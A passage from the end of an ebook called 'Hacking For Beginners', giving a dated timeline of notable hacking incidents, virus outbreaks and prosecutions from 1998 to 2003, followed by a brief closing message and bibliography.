5684Tenebaum "damn good ... and very dangerous." The attacks exploited a well-known vulnerability in the Solaris operating
5685system for which a patch had been available for months. Today Tenebaum is chief technology officer of a computer
5686consulting firm.
5687[1998 Mar 20] Two teenagers hack T-Online, the online service run by Germany's national telephone company, and steal
5688information about hundreds of bank accounts. The two 16-year-old hackers bragged about their exploits, calling
5689Deutsche Telekom's security for the online service "absolutely primitive".
5690[1998 Apr] Shawn Hillis, 26, of Orlando, Florida, a former employee of NASA contractor Lockheed Martin Corp., pled
5691guilty in Federal district court to using a NASA workstation at the Kennedy Space Center to gain unauthorized access to
5692computer networks of several Orlando businesses.
5693[1998 Apr 20] An Alabama juvenile hacker launches an e-mail bomb attack consisting of 14,000 e-mail messages across
5694a NASA network against another person using network systems in a commercial domain. The youth was later ordered to
5695probationary conditions for 12 months.
5696[1998 Apr 22] The MoD criminal hacker group (Masters of Downloading, not to be confused with the 1980's group
5697Masters of Deception) claimed to have broken into a number of military networks, including theDISN (Defense
5698Information Systems Network); and the DEM (DISN Equipment Manager), which controls the military's global positioning
5699satellites (GPSs).
5700[1998 May] Members from the Boston hacker group, L0pht (now @stake ), testify before the U.S. Senate about Internet
5701vulnerabilities.
5702[1998 May 30] A criminal hacker used the sheer size of AOL's technical support (6,000 people) to social engineer his
5703way into the ACLU's web site. The attacker repeatedly phoned AOL until he found a support technician foolish enough to
5704grant access to the targeted web site, which was wiped out as a result of the attack.
5705[1998 Jun 30] Former Coast Guard employee, Shakunla DeviSingla, entered a personnel database she had helped
5706design. DeviSingla used her experience and a former co-worker ’ s password and other identification to delete data. Her
5707action required 115 employees and 1800 hours to recover the deleted information
5708[1998 Jul 31] During Def Con 6 The Cult of the Dead Cow (cDc) release Back Orifice (BO), a tool for analyzing and
5709Hacking For Beginners – Manthan Desai 2010
5710w w w . h a c k i n g t e c h . c o . t v
5711Page 248
5712compromising Windows security.
5713[1998 Sep 13] Hackers deface The New York Times (www.nytimes.com) web site, renaming it HFG (Hacking for Girls).
5714The hackers express anger at the arrest and imprisonment of Kevin Mitnick, the subject of the book 'Takedown '
5715coauthored
5716by Times reporter John Markoff . In early November, two members of HFG told Forbes magazine that they
5717initiated the attack because they were bored and couldn't agree on a video to watch.
5718[1998 Sep 17] Aaron Blosser a contract programmer and self-described "math geek" harnessed over 2,500 U S West
5719computers by installing a program that would utilize their idle time to find very large prime numbers. Their combined
5720computational power in theory surpassed that of most supercomputers. Blosser enlisted 2,585 computers to work at
5721various times during the day and night and quickly ran up 10.63 years of computer processing time in his search for a
5722new prime number. "I've worked on this (math) problem for a long time," said Blosser. "When I started working at U S
5723West, all that computational power was just too tempting for me."
5724[1998 Oct 1] Hackers calling themselves the Electronic Disruption Theater allege the Pentagon used illegal offensive
5725information warfare techniques (DDoS attack)- - a charge DoD officials deny- - to thwart the group's recent computer
5726attack.
5727[1998 Nov] The 'Cloverdale Two' sentenced to 3 years probation, the two Cloverdale, California teens ('Makaveli' and
5728'Too Short') hacked dozens of computer systems, including ones run by the Pentagon . It was later discovered that the
5729infamous Israeli hacker, Ehud Tenebaum ('Analyzer') was the mastermind and mentor to the teens.
5730[1999 Feb 1] Canadian teen charged in Smurf attack of Sympatico ISP. Smurf attacks are when a malicious Internet user
5731fools hundreds or thousands of systems into sending traffic to one location, flooding the location with pings. The attack
5732was eventually traced to the teen's home.
5733[1999 Feb 15] 15-year-old from Vienna hacks into Clemson University's system and tries breaking into NASA .
5734[1999 Mar 18] Jay Satiro, an 18-year-old high school dropout was charged with computer tampering after hacking into
5735the internal computers of America Online and altering some programs. Jay pled guilty and was sentenced to one year in
5736jail and five years without a home PC.
5737[1999 Mar 26] Melissa virus affects 100,000 email users and caused $80 million in damages; written by David Smith a
573829-year-old New Jersey computer programmer. The virus known as Melissa, was named after a Florida stripper.
5739[1999 Apr] Ikenna Iffih, age 28, of Boston, Massachusetts, was charged with using his home computer to illegally gain
5740access to a number of computers, including those controlled by NASA and an agency of the U.S. Department of
5741Defense , where, among other things, he allegedly intercepted login names and passwords, and intentionally caused
5742delays and damage in communications. On November 17, 2000, he was sentenced to 6 months home detention, placed
5743on supervised release for 48 months, and ordered to pay $5,000 in restitution.
5744[1999 Apr 26] CIH virus released by Chen Ing-Hou, the creator of the CIH virus, that takes his initials. This was the first
5745known virus to target the flash BIOS.
5746[1999 May] The Napster peer- to-peer MP3 file-sharing system, used mainly to copy and swap unencrypted files of songs
5747for free, begins to gain popularity, primarily on college campuses where students have easy access to high-speed
5748Internet connections. It was created by Northeastern University students Shawn Fanning and Sean Parker, age 19 and
574920, respectively. Before being shut down on July 2, 2001, Napster, had attracted 85 million registered users downloading
5750as many as 3 billion songs a month.
5751[1999 May 11] Whitehouse.gov defaced by Global Hell.
5752[1999 Jul 10] Back Orifice 2000 released at Def Con 7.
5753[1999 Aug 30] Microsoft Corporation shuts down its Hotmail operation for approximately two hours. The shut down
5754Hacking For Beginners – Manthan Desai 2010
5755w w w . h a c k i n g t e c h . c o . t v
5756Page 249
5757comes after receiving confirmed reports that hackers breached some of their servers by entering Hotmail accounts
5758through third-party Internet providers without using passwords.
5759[1999 Aug 19] ABC news web site defaced by United Loan Gunmen.
5760[1999 Sep 5] C-Span web site defaced by United Loan Gunmen.
5761[1999 Sep 13] Drudge Report web site defaced by United Loan Gunmen
5762[1999 Sep 23] Nasdaq and American Stock Exchange web sites defaced by United Loan Gunmen.
5763[1999 Nov] 15-year-old Norwegian, Jon Johansen , one of the three founding members of MoRE (Masters of Reverse
5764Engineering), the trio of programmers who created a huge stir in the DVD marketplace by releasing DeCSS , a program
5765used to crack the Content Scrambling System (CSS) encryption used to protect every DVD movie on the market. On
5766Jan. 24, 2000 authorities in Norway raid Johansen's house and take computer equipment.
57672000s
5768[2000 Jan 15] 19-year-old Raphael Gray ('Curador') steals over 23,000 credit card numbers from 8 small companies.
5769Raphael styled himself as a "saint of e-commerce", as he hacked into U.S., British and Canadian companies during a
5770"crusade" to expose holes in Internet security and who used computer billionaire Bill Gates' credit card details to send
5771him Viagra.
5772[2000 Feb 7] 16-year-old Canadian hacker nicknamed 'Mafiaboy ', carried out his distributed denial-of-service (DDoS)
5773spree using attack tools available on the Internet that let him launch a remotely coordinated blitz of 1-gigabits- persecond
5774flood of IP packet requests from "zombie" servers which knocked Yahoo off- line for over 3 hours. After pleding guilty
5775'Mafiaboy' was sentenced on Sep. 12 2001 to eight months in a youth detention center.
5776[2000 Feb 9] Two days later the DDoS attacks continued, this time hitting eBay , Amazon , Buy.com, ZDNet , CNN,
5777E*Trade and MSN.
5778[2000 May] GAO (General Accounting Office) auditors were able to gain access to sensitive personal information from
5779the Department of Defense (DOD) through a file that was publicly available over the Internet. The auditors tapped into
5780this file without valid user authentication and gained access to employee's Social Security numbers, addresses and pay
5781information.
5782[2000 May 15] Love Bug virus sent from Philippines; AMA computer college. Michael Buen & Onel de Guzman are
5783suspected of writing the virus.
5784[2000 Jun 1] Qualcomm in San Diego hacked by University of Wisconsin-Madison student Jerome Heckenkamp
5785('MagicFX').
5786[2000 Jun 15] An Information Technology consultant breached the security of British internet service provider Redhotant
5787to expose security lapses. He managed to obtain the names, addresses, passwords and credit card details of more than
578824,000 people, including military scientists, government officials, and top company executives just to show it could be
5789done. The hacker said breaching the site's security was "child's play".
5790[2000 Jul 18] AOL , based in Vienna, Virginia, confirmed that records for more than 500 so-called screen names of its
5791customers had been hacked. Those records typically contain information such as a customer's name, address and the
5792credit card number used to open the account.
5793[2000 Jul 7] Utilities firm Powergen located in the UK was forced to ask thousands of its customers to cancel credit cards
5794after a web site blunder left a database of card details exposed.
5795[2000 Jul 24] Andrew Miffleton ('Daphtpunk'), age 25, of Arlington, Texas was sentenced in federal court to 21 months
5796Hacking For Beginners – Manthan Desai 2010
5797w w w . h a c k i n g t e c h . c o . t v
5798Page 250
5799imprisonment and ordered to pay a $3,000.00 fine. Miffleton associated himself with a group known as "the Darkside
5800Hackers", who were interested in using unauthorized access devices to fraudulently obtain cellular telephone service
5801through cloned cellular telephones or long distance telephone service through stolen calling card numbers.
5802[2000 Aug 17] United States District Judge Lewis Kaplan in New York bars Eric Corley ('Emmanuel Goldstein'), publisher
5803of 2600 magazine , from republishing software hacks that circumvent DVD industry encryptions. The code would enable
5804movies to be more readily copied and exchanged as data files on the Internet.
5805[2000 Sep 5] A 21-year-old New Rochelle, New York man was sentenced to four months in prison for breaking into two
5806computers owned by NASA's Jet Propulsion Laboratory in 1998 and using one to host Internet chat rooms devoted to
5807hacking, prosecutors said. Raymond Torricelli ('rolex') was a member of the hacking group '#conflict' which used their
5808computers to electronically alter the results of the annual MTV Movie Awards . Additionally, over 76,000 discrete
5809passwords were found on Raymond's personal computer.
5810[2000 Sep 6] Patrick W. Gregory ('MostHateD'), age 20, pled guilty for his role as a founding member of a hacking ring
5811called GlobalHell and is sentenced to 26 months imprisonment, three years supervised release, and was ordered to pay
5812$154,529.86 in restitution. GlobalHell is said to have caused at least $1.5 million in damages to various U.S. corporations
5813and government entities, including the White House and the U.S. Army . Gregory, a high school dropout who has said he
5814wants to start his own computer security business, admits in a plea agreement to stealing telephone conferencing
5815services from AT&T , MCI , and Latitude Communications and holding conference calls between 1997 and May 1999 with
5816other hackers around the country.
5817[2000 Sep 26] Jason Diekman ('Shadow Knight', 'Dark Lord') arrested after Federal agents discovered evidence on
5818Diekman ’ s computers indicating that he intercepted usernames and passwords from universities, including Harvard
5819University. In a statement he made to investigators, Diekman admitted that he had hacked into "hundreds, maybe
5820thousands" of computers, including systems at JPL, Stanford , Harvard , Cornell University, the California State University
5821at Fullerton, and University of California campuses in Los Angeles and San Diego. On February 4, 2002, Diekman was
5822sentenced to 21 months in federal prison, three years supervised release, restricted use of the computer and over
5823$87,000 in restitution.
5824[2000 Oct] Microsoft admits that its corporate network has been hacked and source code for future Windows products
5825has been seen. Hacker suspeted to be from St Petersburg.
5826[2000 Oct 10] FBI lure 2 Russian hackers to their arrest in Seattle, after it was determined that Alexei Ivanov, 20, and
5827Vasiliy Gorshkov, 25, spent two years victimizing American businesses. The FBI established a bogus computer security
5828firm that they named, fittingly enough, Invita. They leased office space in downtown Seattle and immediately called
5829Ivanov in Russia about possible employment as a hacker. The FBI communicated with Gorshkov and Ivanov, by e-mail
5830and telephone during the summer and fall of 2000. The men agreed to a face- to- face meeting and on Nov. 10, Gorshkov
5831and Ivanov flew to Seattle and went directly to a two-hour "job interview" with undercover FBI agents who were posing
5832as Invita staff. The Russians were asked to further demonstrate their hacking skills on an IBM Thinkpad provided by the
5833agents. The hackers happily complied and communicated with their home server back in Chelyabinsk, unaware that the
5834laptop they were using was running a "sniffer" program that recorded their every keystroke. The FBI agents' descriptions
5835of the meeting portray Ivanov and Gorshkov as not only blissfully ignorant of their impending arrest, but also somewhat
5836cocky about their hacking skills. At one point in the meeting, as Gorshkov glibly detailed how he and Ivanov extorted
5837money from a U.S. Internet service provider after hacking into its servers, he told the room of undercover agents that
5838"the FBI could not get them in Russia."
5839[2000 Oct 28] After 9 million hack attempts security web site AntiOnline is defaced by Australian hacker 'ron1n' ('n1nor').
5840AntiOnline was deemed "unhackable" by the sites owner, John Vranesevich , but a poorly coded cgi script(s) written by
5841Vranesevich led to the hack.
5842[2000 Nov 7] A 19-year-old Dutch hacker named 'Dimitri' broke in to Microsoft ’s internal web servers with intentions to
5843show the company its vulnerability due to not installing their own patches.
5844[2000 Dec 13] More than 55,000 numbers were stolen from Creditcards.com, which processes credit transactions for
5845online companies. About 25,000 of them were posted online when an extortion payment was not made.
5846Hacking For Beginners – Manthan Desai 2010
5847w w w . h a c k i n g t e c h . c o . t v
5848Page 251
5849[2000 Dec 24] Exigent International , a U.S. government contractor, acknowledged that one or more cyberthieves broke
5850into a restricted federal computer system and stole the company's proprietary code for controlling satellite systems. The
5851software, known as OS/COMET, allows ground- control personnel to communicate and send commands to satellites and
5852rockets. The U.S. Air Force has plans to use the OS/COMET software to control the NAVSTAR Global Positioning
5853System from its Colorado Springs Monitor Station, which is part of the Air Force Space Command.
5854[2001 Feb 1] Hackers invade World Economic Forum. The compromised data included credit card numbers, personal
5855cell phone numbers and information concerning passports and travel arrangements for a number of government and
5856business leaders. Among the notable victims whose personal information was pilfered were Microsoft chairman Bill
5857Gates , Palestinian Authority chairman Yasser Arafat, U.N. Secretary-General Kofi Annan, former U.S. Secretary of State
5858Madeline Albright and former Israeli Prime Minister Shimon Peres.
5859[2001 Feb 12] Anna Kournikova virus released by 20-year-old Dutchman Jan de Wit ('OnTheFly') who was later arrested
5860and sentenced to 150 hours of community service.
5861[2001 Mar 1] FBI reports that 40 e-commerce sites located in 20 U.S. states were cracked by eastern Europe hackers,
5862have stolen more than one million credit card numbers from U.S. e-commerce and banking websites.
5863[2001 Mar 7] Jesus Oquendo ('Sil'), age 27, of Queens, New York was convicted and sentenced to 27 months in
5864Manhattan federal court on charges of computer hacking and electronic eavesdropping of victim company Five Partners
5865Asset Management LLC ("Five Partners"), a venture capital company based in Manhattan. Oquendo left the victim a
5866taunting message on its network: "Hello, I have just hacked into your system. Have a nice day."
5867[2001 May 1] Chinese and U.S. hackers attack each other because of the U.S. spy plane that had to make an
5868emergency landing in China after the U.S. plane collides with and kills Chinese fighter pilotWang Wei .
5869[2001 May 4] Gibson Security Research Corp came under attack (DDOS) and taken off- line by a 13-year-old hacker, at
5870first due to a mistaken belief that Steve Gibson had called him a name, then simply because it was fun.
5871[2001 May 11] Solaris/IIS worm infects Solaris boxes up to version 7, and then scans for IIS machines susceptible to the
5872folder traversal vulnerability and then replaces the default web page.
5873[2001 May 15] Hackers attack University of Washington and put file sharing program on its computers.
5874[2001 May 17] 'Fluffy Bunny' hacker group hacks Apache.org and SourceForge.net .
5875[2002 May 21] Max Butler ('Max Vision' and 'The Equalizer') was sentenced to 18 months in prison for launching an
5876Internet worm that crawled through hundreds of military and defense contractor computers over a few days in 1998. Max
5877Butler also lived three lives for five years. As 'Max Vision', he was an incredibly skilled hacker and security expert who
5878boasted that he'd never met a computer system he couldn't crack. As 'The Equalizer', he was an FBI informant, reporting
5879on the activities of other hackers. As Max Butler, he was a family man in Santa Clara, California who ran a Silicon Valley
5880security firm. At Max Vision Network Security, he specialized in running "penetration tests," attempting to break into
5881corporate networks to prove that their security wasn't as good as it could be.
5882[2001 Jun 9] Los Angeles Times newspaper reports that hackers attacked a computer system that controls much of the
5883flow of electricity across California ’ s power grid for seventeen days or more during the state’ s worse days of the power
5884crisis. According to the Times, the discover was ade on Friday, May 11 and that it was determined that attackes began
5885as early as Wednesday, April 25. The attack appears to have primarily by an individual associated to China ’ s
5886Guangdong province and routed through China Telecom. The 17-day intrusion into the networks running California's
5887leading electric power grid has caused considerable concern among state and federal bureaucrats.
5888[2001 Jun 15] Christine Gunhus, the wife of an U.S. senator, pleads no contest to charges of using a pseudonym to send
5889e-mail messages that disparaged her husband's Democratic rival.
5890[2001 Jun 20] U.S. security company ZixIt reported that a database holding details of customers' credit cards had been
5891hacked.
5892Hacking For Beginners – Manthan Desai 2010
5893w w w . h a c k i n g t e c h . c o . t v
5894Page 252
5895[2001 Jul 12] Notorious hacker group World of Hell managed to deface 679 web sites in just one minute.
5896[2001 Jul 17] Code Red worm is released. The worm exploits vulnerabilities in theMicrosoft Internet Information Server
5897IIS. The worm got its name from "Code Red" Mountain Dew which was used to stay awake by the hackers that
5898disassembled the exploit.
5899[2001 Jul 16] 27-year old Russian programmer Dmitry Sklyarov arrested at Def Con 9 for creating a program to copy
5900Adobe electronic books. He was charged with violating the 1998 Digital Millennium Copyright Act. Demitry was later
5901released, as part of the agreement, Sklyarov will testify for the government in the case that remains against ElcomSoft ,
5902the company that sells the copying software.
5903[2001 Aug 21] Washington- based Riggs bank has its Visa customer database stolen by hackers.
5904[2001 Sep 18] Nimda worm (admin backwards) starts to spread, infecting Microsoft IIS servers that are open to known
5905software vulnerabilities.
5906[2001 Nov 20] Hackers access Playboy.com's credit card data. The hacking group 'ingreslock 1524' claim responsibility.
5907[2001 Nov 20] 25 church web sites hacked by Hacking for Satan group.
5908[2001 Dec 8] Federal prosecutors accuse one time Los Alamos National Laboratory employee Jerome Heckenkamp of
5909breaking into Qualcomm and other corporate computer systems while he was a student. Heckenkamp, they say called
5910himself 'MagicFX'. When school police asked for the password for his personal computer. Court records say
5911Heckenkamp chuckled when he gave it up. "Hackme," he told them. Jerome is also suspected of hacking into a halfdozen
5912other companies, including eBay Inc. and E*Trade Inc., over a nine-month period.
5913[2001 Nov 26] 2 former Cisco accountants sentenced to 34 months for breaking into company computers and stealing
5914stock.
5915[2002 Feb 25] A 17-year-old female hacker, from Belgium, calling herself 'Gigabyte' takes credit for writing the first-ever
5916virus, called 'Sharpei', written in Microsoft's newest programming language C# (C sharp).
5917[2002 Jul 11] Hackers broke into USA Today's web site and replaced several of the newspaper's legitimate news stories
5918with phony articles. Israeli hackers were suspeted.
5919[2002 Jul 25] Princeton University admissions officials gained unauthorized access to a web site at rival Yale University
5920containing personal information about applicants to the Ivy League school, according to officials at both institutions.
5921[2002 Jul 30] Copies of OpenSSH are trojaned. OpenSSH is a popular, free version of the SSH (Secure Shell)
5922communications suite and is used as a secure replacement for protocols such as Telnet, Rlogin, Rsh, and Ftp. The main
5923openBSD (ftp.openbsd.org) mirror was compromised, after developers noticed that the checksum of the package had
5924changed.
5925[2002 Aug 2] Italian police arrest 14 suspected hackers who are accused of thousands of computer intrusions, including
5926attacks on the U.S. Army and Navy and the National Aeronautics and Space Administration. They were all members of
5927two hacking groups, called Mentor and Reservoir Dogs .
5928[2002 Aug 17] Federal law enforcement authorities searched the computers of a San Diego security firm that used the
5929Internet to access government and military computers without authorization over the summer. Investigators from the
5930FBI,
5931the Army and NASA visited the offices of ForensicTec Solutions Inc. seeking details about how the company gained
5932access to computers at Fort Hood in Texas and at the Energy Department, NASA and other government facilities. The
5933searches began hours after it was reported that ForensicTec consultants used free software to identify vulnerable
5934computers and then peruse hundreds of confidential files containing military procedures, e-mail, Social Security numbers
5935and financial data, according to records maintained by the company. While ForensicTec officials said they wanted to help
5936the government and "get some positive exposure for themselves," authorities are pursuing the matter as a criminal case.
5937Hacking For Beginners – Manthan Desai 2010
5938w w w . h a c k i n g t e c h . c o . t v
5939Page 253
5940[2002 Aug 28] The Recording Industry Association of America's (RIAA) web site is defaced , and copyrighted mp3s are
5941uploaded to the server. The RIAA along with the Motion Picture Association of America (MPAA), has won many critics
5942online in its quest to shut down popular file- trading networks such as Napster .
5943[2002 Sep 20] Samir Rana ('Torner') a 21 year-old London hacker is arrested following a year- long investigation into the
5944creation of the Linux rootkit program called Tornkit and on suspicion of being a member of the infamous hacker group
5945Fluffy Bunny. It was later reporter that Rana owned the pink stuffed toy depicted in website defacements by Fluffy
5946Bunny.
5947[2002 Sep 23] A UK hacker received an 18-month prison sentence for corporate sabotage. Stephen Carey, a 28-year-old
5948computer engineer from Eastbourne, Sussex, is sentenced to 18 months for hacking into a firm's database and
5949modifying information.
5950[2002 Oct 4] Hacker Vasily Gorshkov, 27, of Chelyabinsk, Russia, is sentenced to three years in prison for convictions
5951on 20 counts of conspiracy, fraud and related computer crimes. Gorshkov is also ordered to pay restitution of nearly
5952$700,000 for losses he caused to Speakeasy Network of Seattle, and the online credit card payment company PayPal .
5953[2002 Oct 8] CERT (Computer Emergency Response Team) advisory is released detailing the discovery of a back door
5954(trojan horse) found in the source code files of Sendmail 8.12.6.
5955[2002 Oct 16] Microsoft admits to being hacked. The security breach took place on a server that hosts Microsoft's
5956Windows beta community, which allows more than 20,000 Windows users a chance to test software that is still in
5957development.
5958[2002 Oct 21] A distributed denial-of-service (Dee-Dos) attack, lasting one hour, sent a barrage of data at the13
5959domainname
5960service root servers. The attack was in the form of an ICMP flood, which was blocked by many of the root servers,
5961preventing any real loss of network performance.
5962[2002 Nov 12] Gary McKinnon ('Solo'), 36, of London, an unemployed British sysadmin was indicted for what US
5963authorities describe as the "biggest hack of military computers ever detected". From February 2001 until March 2002,
5964McKinnon allegedly exploited poorly- secured Windows systems to attack 92 networks run by NASA , the Pentagon and
596512 other military installation scattered over 14 states. Private sector businesses were also affected by the alleged
5966attacks, which caused an estimated $900,000 in damage overall. Prosecutors said that McKinnon "stole passwords,
5967deleted files, monitored traffic and shut down computer networks on military bases from Pearl Harbour to Connecticut".
5968[2002 Nov 22] Lisa Chen, a 52-year-old Taiwanese woman who pleaded no contest in one of the largest software piracy
5969cases in the U.S. was sentenced to nine years in prison, one of the longest sentences ever for a case involving software
5970piracy. Chen was arrested along with three associates in November 2001 after local sheriffs seized hundreds of
5971thousands of copies of pirated software worth more than $75 million, software that Chen smuggled from Taiwan.
5972[2002 Dec 17] A jury acquitted ElcomSoft, Russian software company, of criminal copyright charges related to selling a
5973program that can crack antipiracy protections on electronic books. The case against ElcomSoft is considered a crucial
5974test of the criminal provisions of the Digital Millennium Copyright Act (DMCA), a controversial law designed to extend
5975copyright protections into the digital age.
5976[2003 Jan 21] Computer hacker Kevin Mitnick is goes online for the first time in nearly a decade. He was captured in a
5977raid and sent to jail for almost five years for computer crimes against companies including Sun Microsystems and
5978Motorola . The prison term was followed by another three and a half years of restrictions regarding Mitnick's access to
5979computers and the Internet.
5980[2003 Jan 21] Simon Vallor , 22, a British Web designer was sentenced to two years in prison for writing one of the
5981world's most destructive viruses which wiped out computers worldwide. Vallor was the author of 3 viruses -- "Gokar,"
5982"Redesi," and "Admirer" -- "Gokar" spread the most widely and was at one point ranked as the third most prevalent virus
5983of all time.
5984Hacking For Beginners – Manthan Desai 2010
5985w w w . h a c k i n g t e c h . c o . t v
5986Page 254
5987[2003 Feb 6] Douglas Boudreau, 21, allegedly installed keystroke monitoring software on more than 100 computers at
5988Boston College and then watched as thousands of people sent e-mail, downloaded files and banked online. He was later
5989indicted on charges he placed software on dozens of computers that allowed him to secretly monitor what people were
5990typing, and then stole around $2,000 using information he gleaned.
5991[2003 Feb 7] Two hackers who broke into Riverside County, Calif., court computers and electronically dismissed a
5992variety of pending cases plead guilty to the crime. Both William Grace, 22, and Brandon Wilson, 28, were sentenced to
5993nine years in jail after pleading guilty to 72 counts of illegally entering a computer system and editing data, along with
5994seven counts of conspiracy to commit extortion
5995[2003 Feb 10] Twice in the past two weeks, online vandals- -like the ones who tagged many Web sites with"Free Kevin!"
5996graffiti during Mitnick's time in prison- -broke into the Web server of the former hacker's security start-up,Defensive
5997Thinking .
5998[2003 Feb 18] It's reported that a hacker ("unauthorized intruder") gained access to some 8 million credit card account
5999numbers —including Visa, MasterCard and American Express —by breaching the security of a company that processes
6000transactions for merchants, the card companies said.
6001[2003 Mar 7] Online attackers stole information on more than 55,000 students and faculty from insecure database
6002servers at the University of Texas at Austin.
6003[2003 Apr 29] New Scotland Yard said Wednesday they arrested 24-year-old Lynn Htun at a London convention center,
6004the site of InfoSecurity Europe 2003. Law enforcement and Internet security professionals said they believe Htun is the
6005mastermind of the “Fluffi Bunni ” hacking exploits, hacking into sites ranging from those ofMcDonalds Corp to Internet
6006security specialists SANS Institute and Symantec Corp’s virus detection group SecurityFocus .
6007[2003 Jun 12] Web designer John Racine II, 24, admitted diverting traffic and e-mails from al-Jazeera's Arabic Web site
6008to a site he had designed called "Let Freedom Ring" and bearing the U.S. flag. John carried out this attack on the al-
6009Jazeera Web site during the Iraq war because the Arab satellite TV network had shown pictures of dead and captured
6010American soldiers.
6011[2003 Jul 6] Internet experts brace for hacker contest. The assault is being billed as a contest to see who can deface
60126,000 Web sites in six hours. The widely publicised hacking contest which encouraged vandals to deface websites
6013ended without causing serious trouble.
6014Hacking For Beginners – Manthan Desai 2010
6015w w w . h a c k i n g t e c h . c o . t v
6016Page 255
6017Bibliography
6018Thanks For reading this book and I hope the contents described in this book will help you to
6019know the minds of hackers. Now you are capable of securing your own and your surrounding
6020computers from the Threat we called “HACKING”.
6021www.hackingtech.co.tv
6022www.google.com
6023www.wikipedia.com
6024And various blogs for images and tips.